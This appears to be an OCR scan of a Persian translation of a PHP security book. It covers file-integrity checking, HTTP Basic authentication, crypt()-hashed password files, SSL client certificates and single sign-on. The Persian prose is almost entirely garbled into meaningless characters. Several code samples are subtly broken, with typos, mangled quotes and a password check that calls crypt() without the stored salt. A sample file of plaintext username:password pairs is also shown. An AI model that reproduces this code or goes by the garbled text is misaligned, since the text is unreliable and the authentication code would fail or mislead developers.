ol Lo ol sla gl gz 10 o duslio m b 1y (LB g o axsl s Sledlbl slasjlupn s
Wil oo byl 5o @olis ST 9) baylel jo b g ol lgime ;0 Sglis ol LT a5 0iS o (s |, alies

\Al



gk yc/bin;l Cis
iz Ul g gt o Jn

BbB e a5 wed Hiahao U oS oo sy oled j0 00 ol o b (il e QT xS o wss
A pse bl e )l SO L s Sl Lot aiiils coauis 4l cdl> o eaST gloaus ans il

lol oS ooliwl INtegrity.php e Sl 5l wlys o weS> a5 puds o olis 45T L
(038 ales Wb 4 (6 e el )b o b L) 0sS o Sle 3 INdeXing cil> s 1, integrity.php
WS 0 0> e gl (5,658 plo yo etc-intex Olge |y XW| &l gasles JB 4
./integrity.php /etc > ~/etc-index 2555
bB 2 Cz 0,90 S Sy il oo fileData Ll sl Sy PHP Lg:\il)—l S5 I IPUN i bl
Caul o0l alab 5 x5T1s combinedHash 64 Jluie) ol UKo cul 4 o] 5 o250 ST o 35250

n

a:73:{s:14:"/etc/6to4.conf" ;=
0:10:"fileData":4:{s:4:"path";s:14:"/etc/6to4.conf" ;=
s:8:"lastSeen";1:1119201553; =

s:12:"combinedHash";s:64:"bf6..."; w
s:5:"stats";a:10:{s:3:"dev";1:234881026;5:3:"in0";1:46010; =
s:4:"mode";1:33188;s:5:"nlink";i:1;5:3:"uid";1:0;5:3:"gid";i:0; =

. )
s:4:"size";1:753;5:5:"mtime";1:1111376393;5:5: "ctime";1:1115683445; w
s:6:"blocks";i:8;}}

. X
$9, » ELC/ s (55, 1 INTE N%/.php a5 ol jo wadady KYA LB 5l cidu 9,5 o
@\ et D9 o0 |21 OSX
5 oS o Sy grity—checking > o |, integrity.php Lo €10/ Glgime v, p sl

AV

./integrity.php /etc ~/etc-index

e o ol 4 pgd HlegS T lgie a1y ool 0,33 saules Lil6 pb

N\
#&‘) 25 b alie (2ey5 L Sl cpl als sols s 68 pls S s, » (Sl s
:..)J.S‘sc’

Loaded integrity file /Users/csnyder/etc-index (73 entries)
0 changed, 0 new or deleted in 73 files at /etc.

o)l SO INtegrity.php sl sas ools juis pley ol ,o BTG 48 04290 la bl 51 S0 51 Js

s oo Sl ol sy cpl 5l 8o

vy



\dadedz il g satS e failw

| g Cu e &L&W ‘5‘..&‘5).1.3..;%] R dLaJLd ‘5LAJUJ.3: L;J'L.oa.o‘ oy s o9l Oleas

Loaded integrity file /Users/csnyder/etc-index (73 entries)

CONTENTS changed at /etc/hosts.

OTHER CHANGE at /etc/smb.conf: mtime changed from 1115943114 to 1119201955.
2 changed, 0 new or deleted in 73 files at /etc.

2,65 ) ooliul sy5e TS Glahlh cunoe cuz Led slaaly (g0 Wlsiee Sbsy (e
090 Sloj slgoe |y (Lol slohls slagilopa,s b (A5 sla bl slagslape)s Jlgte ganlis
oz SOl eolal il aigld 1S 9 5l aul g Sloads eols s Lol sla LB oS aues 1,8 qalal
3 e Sl e B G aS 1> ail so Slazel LB g Lo y&s Jg el Sosls el o) > Sk
S ailed i TOUCH 5l ooliiul b asilys o 5 Sloj slocnz 5 &S s ailinS)ye )EL; RRCES
Olse @ plgee 1y oo (357 (LU (gilope s jlade a5 conl (pl (g, nl Sl ool cga (SLol o e
@ a5 (i SleMbl cq RFC2616 SYANE o) ol 18 ao§l g0 TTP ETag gRY
5% scwles 1o 5l g 00ged colaiul 0> 3l gla iS5l S 3@@ O L aes ool S50

s les @fﬁ%.‘ 0313 s g Sy R g

OSa igd g0 Dgliie o (53l o polie g .‘fs S Sl (S (o Veere w2

Ol eplpls anle odei 1) SLSS (gilupn o Slua 2o MalS ply 90 ( Sy s 7, polal Cul

e laieS ]y ply G Glgioe ploe SO a5 T Sail s ol Jlis! ai o @ ls g2y oS!

polal G 8l S oS Wles ST aiS | "Lau;:” Oebiore g sbml spplive (gilupn o 4 aao

Caz OlFse 1y by onl e des gaige D.. Olge & oJl cnl b s oo (2ol 1) (55,00 ply 10 gz
RCE N Ve ) W@Jajdfﬁb aS @LQQT Jgwe 3)51 Slods 4y cpeul el ol
°7) )
@\g Llaol )l eolawl b jlosl v b
9 M‘?’LSQ l.m:\S ] WJL.Q LS’LQW S g_s"l'er“' CY) M‘J LSLQ[V"")ﬁf‘” )| oolaiul
oolauw! ‘a% 958 Lad dlosel S oo oolainl by LB Lol ool s a5 sio Jlade 4 a0 e
Lgalﬁ.bunx_ii LgUo M‘a o)i{j) ‘L:zaﬁ]w .]a..wy AW JL»J L_QL‘Z’J?.@ 6‘9-:-7“ )L:.'J.c‘ Mb Sy

P ONRE VI 1 IO FRSULEP P S KV PRpN] L S VI KC RV COWO N IOV LIV ST N EV S PR SV S
09 3lgs 10l ol Jlex! a9 ol KT S g Scuws |y ©g 5,855 pls SO o o bl slgiome ol o8

Cache ™

\4)

Y,v,¥



2 wfle 3
g ukhyeiledis PHP -l 5ael G G2
(el g satSeajlw Iy ‘ -

e o ki Glep,e polie w8 6,0l 3 1) e Lo (55, p Cewzuld ooloelSSlL S aS

il ool &8lg Al 0,90 g i cpuie SO 1 s 5l eolaiul b a5 s olazel L

odiiw 8 a5 ,ls bl 45T o B JBlas coiws ol B LI T Jlusus slalasl s (sgu )
g 09505 3B | wis G (gilwpy0 ael S all o ol soges oIS G Glls a5 ol S L
a5 S o S o (5K, 0w B cogat oS g o lael o, oK SOl eslatnl b1y o] e
5 SIGNQ) slaig; & ol )15 plow lds ool canl Gaate (33,5 wi (5jlupa)e l%’d)’u’w-‘”)“’

ol plosil o Jad oyl slal ;o 0pENSSL.php ) siverify()

A asalss axlge T L 395 g slodel y gtnuss oS SVES] Lot a5 ol )5 comy 800

Lol (9903 Gibopo b yge gloje, 5l cbli> @

OBl az 5 o))l & )50 4 4z dagl S50, b ol (sloosls f cbli> @

slabaal jloslanl L L gom 5 (L3 m;w)e._g@m Lpls b R Glyoe Jlasl anlb o
(WSS (oo S ool gnn Sy jo 1y (8 bg, 99 &5) Jbuzms

Glae! g cxo sl ) ™0 s J 55 1 pguw Juad ¥

2y oL alize slaws a5 cwl )5 50,5 sgamme Gl 4 jgym 4 cwyiwd 3505 J S
M@A&L w0l Gludl )15 1add &5 g s bl Lo mbio b aulgs oo ol o105 51 plas
Slgwiy) Joo) win 2] o o bad joym (55, » sy Sype 4 &S ol dagsels

DS el 5 1 e ile n ple 0l co 953 (sag A g ((AIS so Cu i |y 00l (sauyle; sla IS

Digital signature ™

Access control ™

Vi



\dadedz il g satS e failw

cadmgtbobiadi | s S ks (5Lt GG il iS5 Sl dU ileeyl 035 53 0y slie Slads &

139 g0 A )55 e galins dw (g 4 Vgors alis )
Okl b o3lop b )5 Cose (el @
g bl oo wolie jl eslatul cga cum Do l)ls sus slulis )5 S LT aSl fpns @
S8l sals Ceo Mo wull Sy 4 aS )l SO s o b ool az aSO) s @

>

S5
P A gl el jud plede 0SS I g 25 aS wile SGop bl )l wa b slojlasl 4 ctig g0 ()
w2 b lepl b cplply g .0bl oo Bos CeMo anl Jolds Yaors sleiel Jlioldgtr s o Jl>

J>oly Jolds &5 o0 0 )18 (o) 2 )90 1) o Do 00l g jLel solilapildin 5l 00 1S sacgome

Cudo v b Y

S ooliitwl Ll ganslp 5l Cand ble a5 ()5 S %9@ u-*-*-*-’ sl cel Ojle camMo auls
S el s selts Jlo 5 4o Jy a5l S5 o n i b s ol S Sl (Kan )5 o
leol as el (698 plod )5 S a5 wsliprelad s oo w98 il DLy Ysol Jluzms Coge
Sy ugp bl e a5 ) e ie, S Ygade "*"—’l‘)&" Golde B 0gd oo ainlys )5 5l Yool €05 o
Sy olped al) (sagee a5 SG Ly J'-~>°~> olgS o Sl (oo )5 Jlo (e )3 led Sl e
i el s ey i) ey (o 0 b ules 48] cabogs e g Sl Lawgs o Lial ol
Sl baely syl “‘-‘5 Gyl Tl 5l oSl S Jlizns 58550, 4 0gd aiulys )5 |
SalS S, 6l o AT ALS Ll 45 sinly o IS 5] g AiS e oolitl _Lole dus > b 5 30 Do
z9o 2 oV WIBM) (68 jgue 50, SO lls oo g et 51 L Vounr SO i il (So58
21y (25l iSO Goasiles o a8 3,8 @l Vo v B ule )3 wosg 3Bl Sl Sz (sogee LA
ol youd u.O.Ls S dls anejls rasl p 5l can (a8 o )3 095 slacbd Thinkpad odg s o,

A5l QU5 cnlpbe 5 98 oo o)l T @ Sl Gyl 511 (ST5) e, S o8 wn Jlab

Retina ™
Chip ™

Vo

%
L
|



3 wifle 3F
g kol adls PHP -l PR Iy S
whihedelbl g atSenllu IS T e K A ‘ =

ogzg <l s Blanl Cuz SUlg ol s b 48) aiS o 4S5 dad 3a3s Larkid Cgz Lo ol jan
4 590 o] 51 S gem a5 s g L () @ Loy (nie Mo cilisie sl g, olass (ail
OS5 Caw > jaeeiey So ROl (gl diies Loy, (ool aST (Bs; 90 (Js el odpw i LS
it canlie Blaal 5l (6l Cg Litokas ¢ 93 JB pogas olS S

ol bl g asliy Sy oly a5 wems ojlrl (Lulidl )5 ) plage S & el S Lo (B
L o2 g al o2 i Touiload Coodo aul am ccwl oals 00l aid w4 ologe
il oo lisabsl 51 Jsed LB gz o b HTTP S35 Sy b 51 gl panslSe S boliciu
55 Sile 4 aBlge 055 e S8 Sl Sl dny Sl 8 o 5 o lats BTN a5
2 adbai ) loge al B Casp (Jy weps e |y loge T L e ganle sl Lo
S J5 05bse SNl (> iz

HTTP cusdo ol YoY

Gl il oMo anl slagnds) 5l esliiul 5l ojle RS KGN ab coz osle (B9, S
S shls & lapT ogasdlde oy laaly g Tn 555 95w g b el s (g0
al a5 il o HTTP oMo ol jl sl g, cpiosle wiies lulS 5l sgime ol
sy Pl g3 bl nlpls 5 wmge AU Sl lp see ey 2 e oole Codlo
SSL 51 Lot a5 e alis (ol 31 Jitoe SS sy ol o bl 4z b S e 1) 1, anslasl
Jot w55 S50 4 ls HTTRseS s 4l s b asS o ool oy bl | g jlaiyes! g
oo ol 45 apily adls sh 4 edice el SSL lawgs a5 Lol cblis ey oo 05
O & G Lo ol el (608 oL olan Canyo jeeie; shls 0,8 Sy AT WS oo (el S

b oo JERIGE 2w 9 6yt (e & 1 Sl dile e by g 0o )13 cblis coui U900 900
s e bg 2 L a5 conl conlin olbpiw cg> HTTP codlo aul o5 csls axg wb
el Mb Lapls JpuS cow WDl oo ool LasQT A o pawd aS 1y 6ol Bl Caw s 380 yeb Wil
CeMo wnl @by ok 4 Galple Whioe meend 8 Ol Gl Slassee e, A Vsens oS
sty bl slaygue 0y 5 GlnlS 5l Camwid o g ym ($9, 2 45 Sls (o pae Sudstune Lot HTTP
o a5 )5 Lzl ol wile 4) WS o oyl |, e 5 clegorme ol ol S
5 e b el rlis b bLo 5o o ol b g atied diians ol (g0 58 5l il 45 (o
slrian 1y caly oply o canne (2004 APress) slad > bl Ol oy oo b 0ipS I8

oo

va



»

ctigkhsobielis | g Cu e ‘_;LAW 6"“‘5}3'1:’,“.":"“] iS5 Sl adl  gilecpl o 53 0 lie Sleds ‘vi-:’ ::{rj

iz Ul g gt o Jn

o 59y 2 T s g Sl ookl o L &5 iS e (258 Lrty] o ddien Jilo 45 wiz e
Se s polie mlbe sl 5 by 5 Jele Glapivns plo (1)l e WS S 9
sl e IS cow s ceode sl a0 el iyeel

5 ls 13 http://lwww.authenticationtutorial.com/tutorial

sebolea ( slatl camdo ol 5l sl & le wolatul cg HTTP coodo ool 5 JSs wapbol
Josle b1y slol caodo ool LT .ol oo Lasie HTTP 1.0 sS4, ,0 RFC 1945 s a5
SSL iy jo ol ous ool 3 httpd.conf s 55 i & 4 a5 wiS e i,k Tod_auth
GRS 0y 1 o oMo Al GlapwsilSe plo sl plaS e soslal Glegy aciglan] comMe b
Loy wles oul bidly i (305 (o LB 8 5 (588 (slo,gue 30,5 oSl b sl il shylo
s ol s (s Sl saan Aiile 4) it camdo ol BuBTEKise, Jlil Ky b ol ol
Se ol a Lay® b ) plead oMo anll (ndy iz S 58 elee 08 S5 pols bsS
S db 5L aSST ygau 09d 8,lg 40 5l il dalySg8,8 0 gl Jled oo Jab sbla> o
Sz By 50 gy el enlple g dalsS les Ry 5 ol el (J s 25 a1 sl
50,18 3smg ,lS (Sl sl by ] o a5 el (il sl ool b g lagie Comdo b glajls

diales S [70e5 sl gue 5oy Slscoi b g w3yl (3l Yool (1,18
(PHP ) 2UT b ool casdo a3l oolisw! ¥LE0

9 2 o3be hB S o Lagd 9,8 slapl g bojsaese; (ol Comdlo ol b 00,8 sl S
PHP 5l ool 1, ghSVanl g5 ol olsioe 45555 45 puds oo GLis brisl 1 S oo 6,055 455
cg> PHP o S5 Leols )18 oolaal 0,50 (b1 oMo 0l puncslSa ol ot 40 g 9905 by
Glasl cgd) a5 SL by, a5 0uiS oo oolitnl ( LT Lawgi soliiul o,90 NIPASSWA. L1 o o
EF EESELS pae Cope il (Jy wes plnl (s Spge 4 ]y )5 (peled b (ool e
Loab i 1) g o, ool Wlgs oo 45) il oo LT NPASSW sasl ;s (sl,2) g ™ LS oo s

(Bled Cu pos

Shell ™

yv



oS S S Y Y

ket sl g satS el PHP QA| ﬂjuuﬁ

u)%c}ﬁ)@ww)wgms@1awmpas&b Sl (g pl a5 clls axgi b

I 550y 5 5 pU 2 odle (5,5 DMl (g0,:35 4y (g3Ls AT plaptec
S oo ol 093 e piae (S5, p ol 5,55 plo SO o eole s LB SK Ll @
5 JB bl .aib o USEr:Password Jsiio 4 b jgue jo, g ol l5 5l o jpd SO (ol oS
ool oo PASSWOIAS.EXE 1, Lol 1l Lo igis oo 08ls ojll # cadle b g9,08 b rudgs b,Ja>

f%

# passwords.txt, last revised 2005-06-30

chris:12345678
mike:87654321 o %
Ole M3 &5 jebles eule 6,550, 1) jauei0, polie oyl LD pl o a0 @

2 Py a0 planl o b 11, IS el algi e el b gayias syl L ST 090
3o plowl (& 4 (g s iz (A e ) I (nl Ul 45 o5 peed e ol ri
2 Crypt() b, 1, passwords.txt L ;s oe \ 10, 5 plaS 2 aS S ygo ol @
L alie pol opl) oS oo o,ls PHP
LSS R SR CE

Sl S 0 e 0,05 PASSWOrdSs.crypt

o930, (5,50, pKia NtpasSSW a5 ol
Slee w1y esel &l g5 L
L6 4 1, L passwords.txt
L AOCrO0t ;5 wilg o Cas )s,s@
h.)\A-NS g‘?‘ﬁ ‘) U‘ M‘ g%ﬁ.& )9.&).4») w).uxo 6‘).>‘ M)L.: as L) ® 9 03,».: o)oé
WS SgliS ynas \ | S CIYPL() s sloo )15 a5 Lo il & 45 0l drgs
1S 63,50 b alin Sy OS S5y 2 a5l il 4 el Coranl o alinns ol el

\% B9l 1yl waues )18 bl 5,90 wales oo

el ool aalsl o WS e o passwords.crypt

<?php

// you have filled out and submitted the form
if ( lempty( $_POST['in'] ) ) {
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// load submitted username:password list into array
$inContents = $ POST['in'];
$inList = explode( "\n", $inContents );

// set up output
header( 'Content-Type: text/plain' );
$output = NULL;

// for each submitted line...
foreach ( $inList as $line ) {
$line = trim( $line );

// keep empty lines and comments, but don't process them
if ( empty( $line ) || substr( $line, 0, 1 ) == '#' ) {
$output .= "$line\r\n";
continue;

}

// split into name and password
list( $name, $passwd ) = explode( ':', $line );

// use crypt() to encrypt the password
$passwd = crypt( $passwd );

// add username:encrypted password pair to output
$output .= "$name:$passwd\r\n";

O
B
5

va

—

»



ik scibiladis PHP CJ"‘ g‘*.’.j-"“bj ‘\r’j 35‘53

ez il S s

// display password file output for subsequent saving
exit( $output );
}

// form is presented first time through
2

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.0rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>htpasswd.php</title>
</head>

N\
<body onload="document.getElementById("'in").focus()" >
<form action="<?= $ SERVER['SCRIPT NAME'] ?>" method="post" >
<p>Paste passwords.txt below, one username:password pair per line.</p>
<textarea name="in" id="in" rows="8" cols="40"></textarea><br />
<input type="submit" value="create passwords.crypt" />
</form>
</body>
</html>
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AuthType Basic

AuthName "Protected Website"
AuthUserFile /home/user/passwords.crypt
Require valid-user
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<?php
// this script must be included in another rather than run by itself

// force headers
$auth = FALSE;

// user has entered something
if ( isset( $_SERVER['PHP_AUTH USER'] ) &&
isset( $ SERVER['PHP_AUTH PW'] ) ) {

// get stored usernames and passwords from above the docroot
$userlist = file( '../passwords.crypt' );

// extract each username and password
foreach ( $userlist as $line ) {
$line = trim( $line );

v
// skip empty lines and comments
if ( empty( $line ) || substr( $line, 0, 1 ) === "#' ) {
continue;

}
list( $targetUserName, $targetPassword ) = explode( ":", $line );

// compare submission to stored value
if ($targetUserName === $ SERVER['PHP_AUTH USER']) {
$submittedPassword = crypt( $_SERVER['PHP_AUTH PW'] );
// does the user's password match?
if ( $targetPassword === $submittedPassword ) {
$auth = TRUE;
break;
}
}
}

g }
(
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// first time through, or user entered wrong data
if ($auth === FALSE) {
header( 'WWW-Authenticate: Basic realm="Protected Website"');
header('HTTP/1.0 401 Unauthorized');
echo 'You are not authorized! Goodbye!';
exit;
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<?php

// include the authentication routine from the parent directory
require 'authenticate.php';

// return to here only if user passes the authentication routine
// this message is for demonstration purposes only

echo 'You have been authorized!’;

// go on to the application
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// disallow by default...
$allow = FALSE;

$reason = "";
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// require SSL
if ( !isset( $_SERVER['HTTPS'] ) ) {
$reason = "You must use an SSL connection for this request.”;

}

// if SSL and there is a Client Certificate,
//  require Certificate it to be verified
elseif ( isset( $ SERVER['SSL_CLIENT VERIFY'] ) &&AND

$ SERVER[ 'SSL CLIENT VERIFY'] === 'FAILED:(null)' ) {
$reason = "The server could not verify your Client Certificate.";
}
else {
$allow = TRUE;
}

if ( !$allow ) {
header( 'HTTP/1.1 403 Forbidden' );
2>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.0rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en">
<head>

<meta http-equiv="content3¥ypg*/zontent="text/html; charset=utf-8" />
<title>Connection Not Secure</title>
</head>
<body>
<h1>Connection Not Secure</h1>
<p><?= $reason ?></p>
</body>
</html>
<?
exit();
}

// connection secure, continue with script
2>

ol FALSE 50 40 1, AlOWS o2 55 5 05800 bl )l o sl (0,8t &g 4 o Sl o]
il SERVER_$ JLolS g Lg:g\j I HTTPS o5 LT a5 oS o b ol o led aes o0
Aol oo Js MOU_SSI Lawgs SSL oS s s 8929 (90 ,0 ks HTTPS oS 5 b conl oas

FALSE > o1, oz Lad oypllis g ol sas cyog) eblis ) gl olS5T el 4l sgmmg 0lS oyl 51

D9 0ol FEASONS jite ,o byl e wb SSL a5 oS o asuine g ails o5

a4



cxbasihes el PHP ol s sl ‘fv;‘ﬂﬁ P4

\dadedz il g satS e failw

L i glaalss a4 cosl ouds qulats GlisS @ jgym bl 45 0 g0 gy |y alies Gl g
b ool oag 3950 CA sladl jLiel (quyp LT a5 08 0 gy 2 D0 ol 0 ST 5 5 L 0 pd
il oas oy SERVER $ cayl,l jo SSL_CLIENT_VERIFY WIS a5 y0 ,5 o>
Sole 0lS cpl Jlade ST Jg 00,5 o0 cdl,s (LT by g oad CaslgS o gyt ol SO oS5
02 o2 b Led cplply g cal 03,95 canSi aleS ol JLael wb oST FAILED: (null) 5w
Chz oy 90 Ol 5l plaSons 1.0 e et |y s g eols 1,8 FALSE ¢l o 1, allow$
L) oz lad g 9,00 olas 4y cpeal Wb 1, BLS 1 cpl olST wails TRUE & 50 0 yonl e BB ol

ols wales L3 TRYE L i,

oy a5 (Forbidden f-v 592 SO L ol pe) 0z S ol o b Leds o cwgye 99 0 plas! 5l o

s Tl sl b IS saalsl gz 1S 4 o3l 3l b g Cons L)l ol |z 4 amo s

PHP ) ¢yl (2155 wlizaiiiuiles (S5 URARARL
BlsS 15 39350 DleMbl Wb cenl 00903 bml |, yeul bL3IES p)l5 a5 s rekae a5 oKin
B 5 0 &5 jebples S Cedlo w1y SR a8 eolatal 3550 5 il ) (5 ke
Al o yiwd o PHP S SERVER_$ Jb9lf)a9.w 6“%‘)1 30 2lsS pl Sl euole slpriny
o 3l S9e Cn et g oo 5T SSLCLIENT_S L a5 o)l )13 ol dcgome G ,0 a5 oo
» &S 2l g5, » (Common Name) egec o 5l cosl Sile Lo Slaal cga ol

s 35 o i |y 21y DT ol el 0 0,53 S RVER| SSL CLIENT 5 DR ')

oot saye S5 55y p 1y lsS Biladpe polie ol 4 asl o PHPINFO() b 29,5 51 ot Y-0

Jus 1 595 » e sla oIS a5 el 9,0 SO (55, » PAPINTO() 25,5 5| cide O-Y pgas

Sl




gk yc/bin;l Cis
(e bl g gt e fa b

|j.l';u o ke ‘_;UEW 6"“‘5}.’-%‘:":‘“"] rRLY 9 JLGJL‘-: ‘5LAJL§J3: ‘5J'L"'CJ'°‘ 0y 43 e”u..« Sleds

®n6 Aotearoa PHP (@8]
-<:_l v ﬁ”f] {\E} @ https: / /localhost/~csnyder/info.php 8w

OOL_LIFMEN_MLUNCTIOKE |[£00

SSL_CLIENT_VERIFY FAILED{null)

SSL_CLIENT M_VERSION |1

SSL_CLIENT_M_SERIAL 42BDASBF

SSL_CLIENT_V_START Jun 25 18:43:15 2005 GNT

SSL CLIENT V_END Jun 25 18:43:15 2006 GNT

SSL_CLIENT S_DN

JC=US/ST=New YorklL=NYC/O=PPS/QU=Clients/CN=Chris
Snyder/emailAddress=csnyder@chxo.com

SSL CLIENT. S DN C us

SSL_CLIENT S _DN_ST New York
SSL_CLIENT S DN L NYC
SSL_CLIENT.S DN O PPS
SSL_CLIENT_S_DN_OU Clients
SSL_CLIENT_S_DN_CN Chris Snyder
SSL_CLIENT_S_DN_Email |csnyder@chxo.com

SSL_CLIENT_| DN

IC=US/ST=New yorkl=NYC/O=PPS/QU=CA/CN=PPS CA/emailAddrass=csnyder@chxo.com

SSL_CLIENT | DN_C

us

SSL_CLIENT_| DN_ST New york
SSL_CLIENT_I DN_L NYC
SSL_CLIENT | DN_O PPS
SSL_CLIENT | DN_OU CA
SSL_CLIENT_| DN_CN PPS CA
SSL_CLIENT_| DN_Emal csnyder@chxo.com
SSL_CLIENT_A_KEY rsaEncryption L
SSL_CLIENT_A_SIG md5WithRSAEncryption <
[SSI_SFRVER M VERSION (3 X
€ 5]
Done localhost ‘

JUslS o 5m sly] gz oS
5,00 0 Ll (218 ol b g9.50 &
olal CA L olss 60&@%44 g o 5] SSL_CLIENT_I L as

95,20 51 SSL_CLIENT_S L a5 _leods SERVER $
G.Lmo.tlf aS ‘_"JL> 4O

R

B el e o 5 55,0 i walys ald oad (6555, bl wged aalb |,

RUIRVAPES I P (AL

Interaction ™

‘;53;553



-’ wRlle IE
e e PHP -yl saals -
aedei g sqtbesnll IS T e K A ‘ =

CaMo unli Sy O pao )b SO glauedls’ 5l oolanu URAPA

0B 0l 9y 2 a8l 03y (lwosls g 59 ol (555 2 Joad (! 40 9SE Lo (Lol 35 505 45 iz o
Sl 3l cal Solie oyl (18 aslpy Baiesdswg ply 0 ojgyel a5 Ko S5 ISKie SG sl
&= Yool lods g diid 395 (5,15 slrollns] casiol Jotus liogs Lol o)) )5 (6 e Slopionsw
5 Jole g SOl &5 S e | lagl Sl Ko wy s lagl slaptass 59, 2 (IS
L.’. U929 g_i.» uosm 5 J).C olf..xio as ‘5][} BN AosS eolau! sﬁ)}g JJ[S GO u_i.’ SS9y (.QLQLQJ"‘"M
L Loyl 5 el o b oyl 055 o0 455 BB 5 (6,58 Slodo el a5 ol ol (glbly g
ol S oo b ) &l 5| g5 slaosls 5 oas 03,28 slaudS sela 5 unS e ISRl
a5 0SS oo Jlo)l ol 0050 caai |y oyl a5 oxlpe cpx 1) Sledbl ] Goliin S ygo 4y sl
Sls b g 3550 955 Sl ol Syly 45 WS g |y e,nlS b oS e oy 0], oSl ol s
Dyge &g ooged (5 1) ladg)s b S (nl Wi e mles cnl Gethine S oo 280 S il
23]y (GlB Cuse ise

(WSles Sbole 55 Comdo wnl jl IS G izren aSPE S (nl Sz soliin S ol S
o el Boyb 3L s O jgo s 0dds S )5 B Tae LSS slaaldS l eolatul el @ le
oolil )50 Do Al pgd y30 gz 45 WS Ll |, obsS glaysee o, by g A 5l e jgd
sl )y SSL sy 5 45 wals o oo LG Sl (ol 215 8 g 8 aialss )3
ol asliyy 45 olSin oo dill 1) Cpma SIS (sloanlS o jgd 4 oot oolitul (sim 0ulS ob g ail
aslie )13 55 S gl 3 093 io8) 69, 2 45 U] oad &l oS S e il e |y ceules o
5 ST eosd oo yolo GIBOSH IS 50 () x50 b oo asll ST il Canyo o ST ST .0uS oo
5 oods Ll Loel 5l a0 el Ll gd sy (o 9ulS (50,8 3l Lb 1) b fuly gy 4
25 eagslo (ol ie Slead (goailed S lawsi (65K Sz el Sleidy bl S

o2 Db ) Bes o &l ) cemdo anl Cye gl Jole SO Ll 4 cednw iz 51 ool
5 oS e Sy izman (ol ansls Lol o 1) ool Cugd w9 Wl 1) 055 (53959 ,9:550)
S, gm0 5 iy )5 izt S Jae (gly e 5o 45 05 sm Joly o5 oo aslisal (g5
395 oy CamlyS 10 gz ] 5l e 9 00500 1) Gpan [ SO oS wjlacs el s ) cunlgs e wiS

Ales solazwl

) 055 5, 4 9, T b 3850 salom O szl Caz Wb pxlpe SO aS 1) Wi g, ol diz e
WbsS Sloy Sy oS medl aals Uil a5 s 1,5 edly S5 gojladl & Lo g oS oo it Lo




%
L
g

iz Ul g gt o Jn

cxtgatbyobodia | giomn S o dhw 6"“‘5}3'1:’,“.":"“] iS5 Sl adl  gilecpl o 53 0 lie Sleds €

ol 5o J ol boges asalgs slel ool 56 zals Jlas b g o] cass cax 1) ol olexlys
oo oo &l Blal cblas 688 Y SO bl odory (Sl Wl oS wm o gy ol (e

FHLd) ‘s.»l.wl.w o CaMo v b Y.¥

Oeile iz 4 ol D)lg 4 jaamme &S Cend (g0le il Gezme il )5 S Logas )5 SO sl
S5y 2 o5 Slol Dleas olaad 2 gz gl oy G 5 ol Hore S sl oo e iy
S 4 |z aib e o 3y Sl s 6 51 gz ol pgians S el oo ) LS il
SSL 5l led 510 )kas Sl a0 1) lojsae oy 5 65 slopl 5l el (sasgorme S a8 SSe (nm
ol aS aums 1,8 cdadloe 8y90 |y 90w 0 39,9 (gabo b ol WS o solaul W)La Al cg>
waled 5o iled Copoe wl el GllS o0 5 Lad oo o 05 e e BT Sha (Rl eyl
oo a5 il 5ol 4> b ) e by wlgice ol Bl SbloelSl iz e
LS, el gy <52 51 oliad 1) 395 cppiz b aisS o onms (SINGlE SigN-ON) i, L Lolis

Aisled Jupnd 635 po oMol (go0loolol S g S cdadls

oyl (6033 (5900 Caxdo anl Cledlbl sales igfaenr b (oo pics (riz (IS Oj50
03,5 j3e adsl wile 5l oS S j2 gz LS pKEA BET (el e 5 02lelSly osi )0 el D50
‘&.939“’ gs’l")" )‘ Qo L_gﬁ Cow] S LQQT LSAL:JJ 9 oé.s.g ow LDW L)"‘ qu‘JJLu m‘;o J.o& cML:
2 s > ‘JToo.ﬂl g A mo@ Saals ‘SSLMJ\ slas ity w2y BB SO @
Sl (SKow a5 cl Jole a5 o 8575k 3 colainl 050 a5 diine oMo ol (g5l I s

IREXR S LasQT ;m

(Kerberos « wg y yw) (w95 55 ¥, 00
2l oo B (ploled pias (A piey 5 0 By e WS (o0 Sl (505 sLss S
Syidgd oylg wly o a5 ()5 S Az g ddb wgre S Az) G SO (g RS e 5O
Ly S KDC (ol aiS oo Jlo)) (KDC) S g5 5550 S0 2 aSly Bum 5 & 4 |y Cenlss o
U g 03D G50, (6 e (G00 0,u>d jaucio, b AT &S adgi |y (TGT) Ll gous &l
LS50y 095 (aseia 50050, b | TOT a5 aiS o r (6 05500 00l B g (6 oo S
QS o0 S i Glinn ol Culet o Ll 09,5 Cga (Blol culgS o g4 o il o Ll gl ylo




-’ wRlle IE
et aibseibile) PHP .l PR i G
aedei g sqtbesnll IS T e K A ‘ =

b oyt iy Sloglass 51 313 aas oo |y (ols urgyms 5 b L3 ozl bay] 5l plas” o as
b ge Blad ) cgz anl b ol JS KDC Laiss URI

oolawl b )L e Lgl.a:)‘)'é“o).; L oolaul 3,90 LSL"’}?-?“ L alie C».l‘) (5‘5 Lgl.:b”.?u )‘ S ol
waiS adgs (paiz g 3 oS Sl b o)l Jgaze SG plaie 4 rigred 10 poe 0 e w0 S

Ll u»).wa 4O

oboes cum Al o lwld poianw u.oab.o v,¥F,Y

PHP L 55 a2 55 o5 Lz ool g (56l PHP 1 Litalas 55 sl (Ll s 51 oslic
3818 oo S Mo 9l jgae o Gusb 3l 1) IS el g cxliidles sloml LSy el y e S 4
Lg)Li)fc) 9 Lol sd.ol)): J9 W (PG w )‘ oalawl L) ‘) )J)Lf uLC)Lb‘ w.:‘ 39 PR W W)Lé
&S amo o Sl Sloj o swleye e SO lghe w1, oal Lasl g (650, Dledbl s S o

S5 oo 5L el g 4 1) 00l Cumdlo w8
soloelSol Wil calp K L CMS.eXAMPIEIDTY .ol )3 gt Cu e pia o Lok 45 0 553
sso.example.org ,s I, s¢s GG TLlulis 5w Leis .y ls Mysgladmin.example.org s
i 5 6l Al omaBLS 1 Sy @b 5l (P peas 4o pes pl8) a5 b oo Jlinl SSO 4 SSL
5 URl 4 1, PUE-Y pgal ;0 paw pl5) SSO (3850 Cumdo auli l am S o Cunlss 0 1) (59

http://cms.example.org/login.php?auth=EJDGkhyt|..]ChZcBe%3D




J:km:::’::;w |}2>u o ke duw ‘5\A‘5ﬁ.1g:w| rRLY K] JLAJL» ‘_;LBJUJQ: ‘55“0"‘ 0y 43 ejju.a Sleds

